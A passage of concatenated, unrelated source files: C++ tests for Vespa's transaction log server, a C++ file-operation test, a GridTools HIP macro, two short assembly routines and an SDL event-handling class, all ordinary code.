Packet(DEFAULT_PACKET_SIZE)); for(size_t j=0; j < numEntries; j++, value++) { Packet::Entry e(value+1, j+1, vespalib::ConstBufferRef((const char *)&entryBuffer[0], entryBuffer.size())); p->add(e); if (p->sizeBytes() > DEFAULT_PACKET_SIZE){ ASSERT_TRUE(s1->commit(vespalib::ConstBufferRef(p->getHandle().data(), p->getHandle().size()))); p = std::make_unique<Packet>(DEFAULT_PACKET_SIZE); } } ASSERT_TRUE(s1->commit(vespalib::ConstBufferRef(p->getHandle().data(), p->getHandle().size()))); } } uint32_t countFiles(const vespalib::string &dir) { uint32_t res = 0; FastOS_DirectoryScan dirScan(dir.c_str()); while (dirScan.ReadNext()) { const char *ename = dirScan.GetName(); if (strcmp(ename, ".") == 0 || strcmp(ename, "..") == 0) continue; ++res; } return res; } void checkFilledDomainTest(Session &s1, size_t numEntries) { SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1.status(b, e, c)); EXPECT_EQUAL(b, 1u); EXPECT_EQUAL(e, numEntries); EXPECT_EQUAL(c, numEntries); } bool visitDomainTest(TransLogClient & tls, Session * s1, const vespalib::string & name) { bool retval(true); SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1->status(b, e, c)); EXPECT_EQUAL(b, 1u); EXPECT_EQUAL(e, 3u); EXPECT_EQUAL(c, 3u); CallBackTest ca; auto visitor = tls.createVisitor(name, ca); ASSERT_TRUE(visitor); EXPECT_TRUE( visitor->visit(0, 1) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } EXPECT_TRUE( ca._eof ); EXPECT_TRUE( ! ca.hasSerial(0) ); EXPECT_TRUE( ca.hasSerial(1) ); EXPECT_TRUE( ! ca.hasSerial(2) ); ca.clear(); visitor = tls.createVisitor(name, ca); ASSERT_TRUE(visitor.get()); EXPECT_TRUE( visitor->visit(1, 2) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } EXPECT_TRUE( ca._eof ); EXPECT_TRUE( ! ca.hasSerial(0) ); EXPECT_TRUE( ! ca.hasSerial(1) ); EXPECT_TRUE( ca.hasSerial(2) ); EXPECT_TRUE( ! ca.hasSerial(3) ); ca.clear(); visitor = tls.createVisitor(name, ca); EXPECT_TRUE(visitor.get()); EXPECT_TRUE( visitor->visit(0, 3) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } EXPECT_TRUE( ca._eof ); EXPECT_TRUE( ! ca.hasSerial(0) ); EXPECT_TRUE( ca.hasSerial(1) ); EXPECT_TRUE( ca.hasSerial(2) ); EXPECT_TRUE( ca.hasSerial(3) ); ca.clear(); visitor = tls.createVisitor(name, ca); ASSERT_TRUE(visitor.get()); EXPECT_TRUE( visitor->visit(2, 3) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } EXPECT_TRUE( ca._eof ); EXPECT_TRUE( ! ca.hasSerial(0) ); EXPECT_TRUE( !ca.hasSerial(1) ); EXPECT_TRUE( !ca.hasSerial(2) ); EXPECT_TRUE( ca.hasSerial(3) ); ca.clear(); return retval; } double getMaxSessionRunTime(TransLogServer &tls, const vespalib::string &domain) { return tls.getDomainStats()[domain].maxSessionRunTime.count(); } void createAndFillDomain(const vespalib::string & name, Encoding encoding, size_t preExistingDomains) { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test13", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000).setEncoding(encoding), 4); TransLogClient tls("tcp/localhost:18377"); createDomainTest(tls, name, preExistingDomains); auto s1 = openDomainTest(tls, name); fillDomainTest(s1.get(), name); } void verifyDomain(const vespalib::string & name) { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test13", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, name); visitDomainTest(tls, s1.get(), name); } } TEST("testVisitOverGeneratedDomain") { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test7", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls("tcp/localhost:18377"); vespalib::string name("test1"); createDomainTest(tls, name); auto s1 = openDomainTest(tls, name); fillDomainTest(s1.get(), name); EXPECT_EQUAL(0, getMaxSessionRunTime(tlss, "test1")); visitDomainTest(tls, s1.get(), name); double maxSessionRunTime = getMaxSessionRunTime(tlss, "test1"); LOG(info, "testVisitOverGeneratedDomain(): maxSessionRunTime=%f", maxSessionRunTime); EXPECT_GREATER(maxSessionRunTime, 0); } TEST("testVisitOverPreExistingDomain") { // Depends on Test::testVisitOverGeneratedDomain() DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test7", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls("tcp/localhost:18377"); vespalib::string name("test1"); auto s1 = openDomainTest(tls, name); visitDomainTest(tls, s1.get(), name); } TEST("partialUpdateTest") { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test7", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, "test1"); Session & session = *s1; TestIdentifiable du; nbostream os; os << du; vespalib::ConstBufferRef bb(os.data(), os.size()); LOG(info, "DU : %s", myhex(bb.c_str(), bb.size()).c_str()); Packet::Entry e(7, du.getClass().id(), bb); Packet pa(DEFAULT_PACKET_SIZE); pa.add(e); ASSERT_TRUE(session.commit(vespalib::ConstBufferRef(pa.getHandle().data(), pa.getHandle().size()))); CallBackUpdate ca; auto visitor = tls.createVisitor("test1", ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(5, 7) ); for (size_t i(0); ! ca._eof && (i < 1000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca._eof ); ASSERT_TRUE( ca.map().size() == 1); ASSERT_TRUE( ca.hasSerial(7) ); CallBackUpdate ca1; auto visitor1 = tls.createVisitor("test1", ca1); ASSERT_TRUE(visitor1); ASSERT_TRUE( visitor1->visit(4, 5) ); for (size_t i(0); ! ca1._eof && (i < 1000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca1._eof ); ASSERT_TRUE( ca1.map().empty()); CallBackUpdate ca2; auto visitor2 = tls.createVisitor("test1", ca2); ASSERT_TRUE(visitor2); ASSERT_TRUE( visitor2->visit(5, 6) ); for (size_t i(0); ! ca2._eof && (i < 1000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca2._eof ); ASSERT_TRUE( ca2.map().empty()); CallBackUpdate ca3; auto visitor3 = tls.createVisitor("test1", ca3); ASSERT_TRUE(visitor3); ASSERT_TRUE( visitor3->visit(5, 1000) ); for (size_t i(0); ! ca3._eof && (i < 1000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca3._eof ); ASSERT_TRUE( ca3.map().size() == 1); ASSERT_TRUE( ca3.hasSerial(7) ); } TEST("testCrcVersions") { createAndFillDomain("ccitt_crc32", Encoding(Encoding::Crc::ccitt_crc32, Encoding::Compression::none), 0); createAndFillDomain("xxh64", Encoding(Encoding::Crc::xxh64, Encoding::Compression::none), 1); verifyDomain("ccitt_crc32"); verifyDomain("xxh64"); } TEST("testRemove") { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("testremove", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls("tcp/localhost:18377"); vespalib::string name("test-delete"); createDomainTest(tls, name); auto s1 = openDomainTest(tls, name); fillDomainTest(s1.get(), name); visitDomainTest(tls, s1.get(), name); ASSERT_TRUE(tls.remove(name)); } namespace { void assertVisitStats(TransLogClient &tls, const vespalib::string &domain, SerialNum visitStart, SerialNum visitEnd, SerialNum expFirstSerial, SerialNum expLastSerial, uint64_t expCount, uint64_t expInOrder) { CallBackStatsTest ca; auto visitor = tls.createVisitor(domain, ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(visitStart, visitEnd) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE(ca._eof); EXPECT_EQUAL(expFirstSerial, ca._firstSerial); EXPECT_EQUAL(expLastSerial, ca._lastSerial); EXPECT_EQUAL(expCount, ca._count); EXPECT_EQUAL(expInOrder, ca._inOrder); } void assertStatus(Session &s, SerialNum expFirstSerial, SerialNum expLastSerial, uint64_t expCount) { SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s.status(b, e, c)); EXPECT_EQUAL(expFirstSerial, b); EXPECT_EQUAL(expLastSerial, e); EXPECT_EQUAL(expCount, c); } } TEST("test sending a lot of data") { const unsigned int NUM_PACKETS = 1000; const unsigned int NUM_ENTRIES = 100; const unsigned int TOTAL_NUM_ENTRIES = NUM_PACKETS * NUM_ENTRIES; const vespalib::string MANY("many"); { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test8", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x80000)); TransLogClient tls("tcp/localhost:18377"); createDomainTest(tls, MANY, 0); auto s1 = openDomainTest(tls, MANY); fillDomainTest(s1.get(), NUM_PACKETS, NUM_ENTRIES); SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1->status(b, e, c)); EXPECT_EQUAL(b, 1u); EXPECT_EQUAL(e, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(c, TOTAL_NUM_ENTRIES); CallBackManyTest ca(2); auto visitor = tls.createVisitor("many", ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(2, TOTAL_NUM_ENTRIES) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca._eof ); EXPECT_EQUAL(ca._count, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(ca._value, TOTAL_NUM_ENTRIES); } { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test8", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, "many"); SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1->status(b, e, c)); EXPECT_EQUAL(b, 1u); EXPECT_EQUAL(e, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(c, TOTAL_NUM_ENTRIES); CallBackManyTest ca(2); auto visitor = tls.createVisitor(MANY, ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(2, TOTAL_NUM_ENTRIES) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca._eof ); EXPECT_EQUAL(ca._count, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(ca._value, TOTAL_NUM_ENTRIES); } { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test8", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, MANY); SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1->status(b, e, c)); EXPECT_EQUAL(b, 1u); EXPECT_EQUAL(e, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(c, TOTAL_NUM_ENTRIES); CallBackManyTest ca(2); auto visitor = tls.createVisitor(MANY, ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(2, TOTAL_NUM_ENTRIES) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca._eof ); EXPECT_EQUAL(ca._count, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(ca._value, TOTAL_NUM_ENTRIES); } } TEST("test sending a lot of data async") { const unsigned int NUM_PACKETS = 1000; const unsigned int NUM_ENTRIES = 100; const unsigned int TOTAL_NUM_ENTRIES = NUM_PACKETS * NUM_ENTRIES; const vespalib::string MANY("many-async"); { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test8", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x80000)); TransLogClient tls("tcp/localhost:18377"); createDomainTest(tls, MANY, 1); auto s1 = openDomainTest(tls, MANY); fillDomainTest(tlss, MANY, NUM_PACKETS, NUM_ENTRIES); SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1->status(b, e, c)); EXPECT_EQUAL(e, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(c, TOTAL_NUM_ENTRIES); CallBackManyTest ca(2); auto visitor = tls.createVisitor(MANY, ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(2, TOTAL_NUM_ENTRIES) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca._eof ); EXPECT_EQUAL(ca._count, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(ca._value, TOTAL_NUM_ENTRIES); } { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test8", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, MANY); SerialNum b(0), e(0); size_t c(0); EXPECT_TRUE(s1->status(b, e, c)); EXPECT_EQUAL(b, 1u); EXPECT_EQUAL(e, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(c, TOTAL_NUM_ENTRIES); CallBackManyTest ca(2); auto visitor = tls.createVisitor(MANY, ca); ASSERT_TRUE(visitor); ASSERT_TRUE( visitor->visit(2, TOTAL_NUM_ENTRIES) ); for (size_t i(0); ! ca._eof && (i < 60000); i++ ) { std::this_thread::sleep_for(10ms); } ASSERT_TRUE( ca._eof ); EXPECT_EQUAL(ca._count, TOTAL_NUM_ENTRIES); EXPECT_EQUAL(ca._value, TOTAL_NUM_ENTRIES); } } TEST("testErase") { const unsigned int NUM_PACKETS = 1000; const unsigned int NUM_ENTRIES = 100; const unsigned int TOTAL_NUM_ENTRIES = NUM_PACKETS * NUM_ENTRIES; { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test12", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x80000)); TransLogClient tls("tcp/localhost:18377"); createDomainTest(tls, "erase", 0); auto s1 = openDomainTest(tls, "erase"); fillDomainTest(s1.get(), NUM_PACKETS, NUM_ENTRIES); } { DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test12", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, "erase"); // Before erase TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, 3, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES -2, TOTAL_NUM_ENTRIES - 3)); DomainStats domainStats = tlss.getDomainStats(); DomainInfo domainInfo = domainStats["erase"]; size_t numParts = domainInfo.parts.size(); LOG(info, "%zu parts", numParts); for (uint32_t partId = 0; partId < numParts; ++partId) { const PartInfo &part = domainInfo.parts[partId]; LOG(info, "part %u from %" PRIu64 " to %" PRIu64 ", " "count %zu, numBytes %zu", partId, (uint64_t) part.range.from(), (uint64_t) part.range.to(), part.numEntries, part.byteSize); } ASSERT_LESS_EQUAL(2u, numParts); // Erase everything before second to last domainpart file SerialNum eraseSerial = domainInfo.parts[numParts - 2].range.from(); s1->erase(eraseSerial); TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, eraseSerial, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES + 1 - eraseSerial, TOTAL_NUM_ENTRIES - eraseSerial)); TEST_DO(assertStatus(*s1, eraseSerial, TOTAL_NUM_ENTRIES, domainInfo.parts[numParts - 2].numEntries + domainInfo.parts[numParts - 1].numEntries)); // No apparent effect of erasing just first entry in 2nd to last part s1->erase(eraseSerial + 1); TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, eraseSerial, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES + 1 - eraseSerial, TOTAL_NUM_ENTRIES - eraseSerial)); TEST_DO(assertStatus(*s1, eraseSerial + 1, TOTAL_NUM_ENTRIES, domainInfo.parts[numParts - 2].numEntries + domainInfo.parts[numParts - 1].numEntries)); // No apparent effect of erasing almost all of 2nd to last part SerialNum eraseSerial2 = domainInfo.parts[numParts - 2].range.to(); s1->erase(eraseSerial2); TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, eraseSerial, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES + 1 - eraseSerial, TOTAL_NUM_ENTRIES - eraseSerial)); TEST_DO(assertStatus(*s1, eraseSerial2, TOTAL_NUM_ENTRIES, domainInfo.parts[numParts - 2].numEntries + domainInfo.parts[numParts - 1].numEntries)); // Erase everything before last domainpart file eraseSerial = domainInfo.parts[numParts - 1].range.from(); s1->erase(eraseSerial); TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, eraseSerial, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES + 1 - eraseSerial, TOTAL_NUM_ENTRIES - eraseSerial)); TEST_DO(assertStatus(*s1, eraseSerial, TOTAL_NUM_ENTRIES, domainInfo.parts[numParts - 1].numEntries)); // No apparent effect of erasing just first entry in last part s1->erase(eraseSerial + 1); TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, eraseSerial, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES + 1 - eraseSerial, TOTAL_NUM_ENTRIES - eraseSerial)); TEST_DO(assertStatus(*s1, eraseSerial + 1, TOTAL_NUM_ENTRIES, domainInfo.parts[numParts - 1].numEntries)); // No apparent effect of erasing almost all of last part eraseSerial2 = domainInfo.parts[numParts - 1].range.to(); s1->erase(eraseSerial2); TEST_DO(assertVisitStats(tls, "erase", 2, TOTAL_NUM_ENTRIES, eraseSerial, TOTAL_NUM_ENTRIES, TOTAL_NUM_ENTRIES + 1 - eraseSerial, TOTAL_NUM_ENTRIES - eraseSerial)); TEST_DO(assertStatus(*s1, eraseSerial2, TOTAL_NUM_ENTRIES, domainInfo.parts[numParts - 1].numEntries)); } } TEST("testSync") { const unsigned int NUM_PACKETS = 3; const unsigned int NUM_ENTRIES = 4; const unsigned int TOTAL_NUM_ENTRIES = NUM_PACKETS * NUM_ENTRIES; DummyFileHeaderContext fileHeaderContext; TransLogServer tlss("test9", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); createDomainTest(tls, "sync", 0); auto s1 = openDomainTest(tls, "sync"); fillDomainTest(s1.get(), NUM_PACKETS, NUM_ENTRIES); SerialNum syncedTo(0); EXPECT_TRUE(s1->sync(2, syncedTo)); EXPECT_EQUAL(syncedTo, TOTAL_NUM_ENTRIES); } TEST("test truncate on version mismatch") { const unsigned int NUM_PACKETS = 3; const unsigned int NUM_ENTRIES = 4; const unsigned int TOTAL_NUM_ENTRIES = NUM_PACKETS * NUM_ENTRIES; uint64_t fromOld(0), toOld(0); size_t countOld(0); DummyFileHeaderContext fileHeaderContext; { TransLogServer tlss("test11", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x1000000)); TransLogClient tls("tcp/localhost:18377"); createDomainTest(tls, "sync", 0); auto s1 = openDomainTest(tls, "sync"); fillDomainTest(s1.get(), NUM_PACKETS, NUM_ENTRIES); EXPECT_TRUE(s1->status(fromOld, toOld, countOld)); SerialNum syncedTo(0); EXPECT_TRUE(s1->sync(2, syncedTo)); EXPECT_EQUAL(syncedTo, TOTAL_NUM_ENTRIES); } FastOS_File f("test11/sync/sync-0000000000000000"); EXPECT_TRUE(f.OpenWriteOnlyExisting()); EXPECT_TRUE(f.SetPosition(f.GetSize())); char tmp[100]; memset(tmp, 0, sizeof(tmp)); EXPECT_EQUAL(static_cast<ssize_t>(sizeof(tmp)), f.Write2(tmp, sizeof(tmp))); EXPECT_TRUE(f.Close()); { TransLogServer tlss("test11", 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls("tcp/localhost:18377"); auto s1 = openDomainTest(tls, "sync"); uint64_t from(0), to(0); size_t count(0); EXPECT_TRUE(s1->status(from, to, count)); ASSERT_EQUAL(fromOld, from); ASSERT_EQUAL(toOld, to); ASSERT_EQUAL(countOld, count); } } TEST("test truncation after short read") { const unsigned int NUM_PACKETS = 17; const unsigned int NUM_ENTRIES = 1; const unsigned int TOTAL_NUM_ENTRIES = NUM_PACKETS * NUM_ENTRIES; const unsigned int ENTRYSIZE = 4080; vespalib::string topdir("test10"); vespalib::string domain("truncate"); vespalib::string dir(topdir + "/" + domain); vespalib::string tlsspec("tcp/localhost:18377"); DummyFileHeaderContext fileHeaderContext; { TransLogServer tlss(topdir, 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls(tlsspec); createDomainTest(tls, domain, 0); auto s1 = openDomainTest(tls, domain); fillDomainTest(s1.get(), NUM_PACKETS, NUM_ENTRIES, ENTRYSIZE); SerialNum syncedTo(0); EXPECT_TRUE(s1->sync(TOTAL_NUM_ENTRIES, syncedTo)); EXPECT_EQUAL(syncedTo, TOTAL_NUM_ENTRIES); } { EXPECT_EQUAL(2u, countFiles(dir)); } { TransLogServer tlss(topdir, 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls(tlsspec); auto s1 = openDomainTest(tls, domain); checkFilledDomainTest(*s1, TOTAL_NUM_ENTRIES); } { EXPECT_EQUAL(2u, countFiles(dir)); } { vespalib::string filename(dir + "/truncate-0000000000000017"); FastOS_File trfile(filename.c_str()); EXPECT_TRUE(trfile.OpenReadWrite(nullptr)); trfile.SetSize(trfile.getSize() - 1); trfile.Close(); } { TransLogServer tlss(topdir, 18377, ".", fileHeaderContext, DomainConfig().setPartSizeLimit(0x10000)); TransLogClient tls(tlsspec); auto s1 = openDomainTest(tls, domain); checkFilledDomainTest(*s1, TOTAL_NUM_ENTRIES - 1); } { EXPECT_EQUAL(2u, countFiles(dir)); } } TEST_MAIN() { TEST_RUN_ALL(); }
#include <errno.h> #include <fcntl.h> #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <iostream> using std::cerr; using std::cout; using std::endl; #define STR_(x) #x #define STR(x) STR_(x) #define T(x, e) do { int r = (x); if (r != (e)) { perror(#x " on line " STR(__LINE__) " failed with error"); return 1; } } while (0) #define TZ(x) T(x, 0) namespace { const char TEST_STRING[] = "this is a test!\n"; const int TEST_STRING_LEN = sizeof(TEST_STRING); } int main(int argc, char **argv) { struct stat st; const char *file = NULL; int create_fd = -1, open_fd = -1; if (argc != 2) { cerr << "usage: " << argv[0] << " <test-file-name>" << endl; return 1; } file = argv[1]; /* * getattr * unlink * getattr * create * getattr * open * chmod * getattr * removexattr * setxattr * getattr * chmod * getattr * flush * release * getattr * release */ TZ(stat(file, &st)); TZ(unlink(file)); T(stat(file, &st), -1); create_fd = open(file, O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH); if (create_fd == -1) { perror("create failed with error"); return 1; } TZ(fstat(create_fd, &st)); open_fd = open(file, O_RDWR); if (open_fd == -1) { perror("open failed with error"); return 1; } TZ(fchmod(open_fd, 0755)); TZ(fstat(open_fd, &st)); if (write(open_fd, TEST_STRING, TEST_STRING_LEN) != TEST_STRING_LEN) { perror("write failed with error"); return 1; } TZ(fsync(open_fd)); TZ(close(open_fd)); TZ(fstat(create_fd, &st)); TZ(close(create_fd)); cout << "succeeded." << endl; return 0; }
#include "hip/hip_runtime.h" /* * GridTools * * Copyright (c) 2014-2021, ETH Zurich * All rights reserved. * * Please, refer to the LICENSE file in the root directory. * SPDX-License-Identifier: BSD-3-Clause */ #define GCL_MACRO_IMPL(z, n, _) \ { \ const int ntx = 32; \ const int nty = 8; \ const int ntz = 1; \ dim3 threads(ntx, nty, ntz); \ \ int nx = field##n.halos[0].r_length(-1) + field##n.halos[0].r_length(0) + field##n.halos[0].r_length(1); \ int ny = field##n.halos[1].r_length(-1) + field##n.halos[1].r_length(0) + field##n.halos[1].r_length(1); \ int nz = field##n.halos[2].r_length(1); \ \ int nbx = (nx + ntx - 1) / ntx; \ int nby = (ny + nty - 1) / nty; \ int nbz = (nz + ntz - 1) / ntz; \ dim3 blocks(nbx, nby, nbz); \ \ if (nbx != 0 && nby != 0 && nbz != 0) { \ hipLaunchKernelGGL(m_unpackZUKernel_generic, dim3(blocks), dim3(threads), 0, 0, field##n.ptr, \ reinterpret_cast<typename FOTF_T##n::value_type **>(d_msgbufTab_r), \ wrap_argument(d_msgsize_r + 27 * n), \ *(reinterpret_cast<const ::gridtools::array<::gridtools::halo_descriptor, 3> *>(&field##n)), \ nx, \ ny, \ (field##n.halos[0].begin() - field##n.halos[0].minus()) + \ (field##n.halos[1].begin() - field##n.halos[1].minus()) * field##n.halos[0].total_length() + \ (field##n.halos[2].end() + 1) * field##n.halos[0].total_length() * \ field##n.halos[1].total_length(), \ 0); \ } \ } BOOST_PP_REPEAT(GCL_NOI, GCL_MACRO_IMPL, all) #undef GCL_MACRO_IMPL
; ; ; Z88 Maths Routines ; ; C Interface for Small C+ Compiler ; ; 7/12/98 djm ;double floor(double) ;Number in FA.. SECTION code_fp INCLUDE "fpp.def" PUBLIC floor EXTERN fsetup EXTERN stkequ2 .floor call fsetup fpp(FP_INT) ;floor it (round down!) jp stkequ2
VIDEO_MEMORY equ 0xb8500 ;writing directly to Video memory WHITE_ON_BLACK equ 0x0f ; the color byte for each character print32: pusha mov edx, eax add edx, VIDEO_MEMORY print32loop: mov al, [ebx] ; [ebx] is the address of our character mov ah, WHITE_ON_BLACK cmp al, 0 ; check for end of string je complete32 mov [edx], ax ; store character + attribute in video memory add ebx, 1 ; next char add edx, 2 ; next video memory position jmp print32loop complete32: popa ret
/** * Copyright (c) 2015-2019 Tomislav Radanovic * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #include <exception> #include <EventEngine/EventEngine.hpp> #include <EventEngine/Dispatch.hpp> #include <SDL.h> #include <Infrastructure/Log.hpp> #include <stdexcept> EventEngine::Context::Context() : m_IsQuitRequested { false } {} EventEngine::Context* EventEngine::Context::GetInstance() { static Context* instance { nullptr }; if (instance == nullptr) { instance = new Context(); } return instance; } void EventEngine::Context::Init() { LOG_INFO("Init Event Engine"); if (SDL_InitSubSystem(SDL_INIT_VIDEO) != 0) { LOG_FATAL("Could not initialize event system"); LOG_FATAL("SDL_Error: %s", SDL_GetError()); throw std::runtime_error {"Could not initialize event system"}; } } void EventEngine::Context::Quit() { SDL_QuitSubSystem(SDL_INIT_VIDEO); LOG_INFO("Quit Event Engine"); } void EventEngine::Context::RequestQuit() { LOG_INFO("Quit has been requested"); m_IsQuitRequested = true; } const bool EventEngine::Context::IsQuitRequested() const { return m_IsQuitRequested; } void EventEngine::Context::HandleEvents() { SDL_Event events = { 0 }; Dispatch *dispatch = Dispatch::GetInstance(); dispatch->DispatchOnFrameCallback(); SDL_PumpEvents(); while (SDL_PollEvent(&events)) { switch (events.type) { case SDL_KEYDOWN: dispatch->DispatchOnKeyDownCallback((KeyCode)events.key.keysym.sym); break; case SDL_KEYUP: dispatch->DispatchOnKeyUpCallback((KeyCode)events.key.keysym.sym); break; case SDL_MOUSEBUTTONDOWN: switch (events.button.button) { case SDL_BUTTON_LEFT: dispatch->DispatchOnKeyDownCallback(KeyCode::MOUSE_LEFT); break; case SDL_BUTTON_RIGHT: dispatch->DispatchOnKeyDownCallback(KeyCode::MOUSE_RIGHT); break; case SDL_BUTTON_MIDDLE: dispatch->DispatchOnKeyDownCallback(KeyCode::MOUSE_MIDDLE); break; default: break; } break; case SDL_MOUSEBUTTONUP: switch (events.button.button) { case SDL_BUTTON_LEFT: dispatch->DispatchOnKeyUpCallback(KeyCode::MOUSE_LEFT); break; case SDL_BUTTON_RIGHT: dispatch->DispatchOnKeyUpCallback(KeyCode::MOUSE_RIGHT); break; case SDL_BUTTON_MIDDLE: dispatch->DispatchOnKeyUpCallback(KeyCode::MOUSE_MIDDLE); break; default: break; } break; case SDL_MOUSEMOTION: dispatch->DispatchOnMouseMoveCallback(events.motion.xrel, events.motion.yrel); break; case SDL_QUIT: this->m_IsQuitRequested = true; break; default: break; } } }
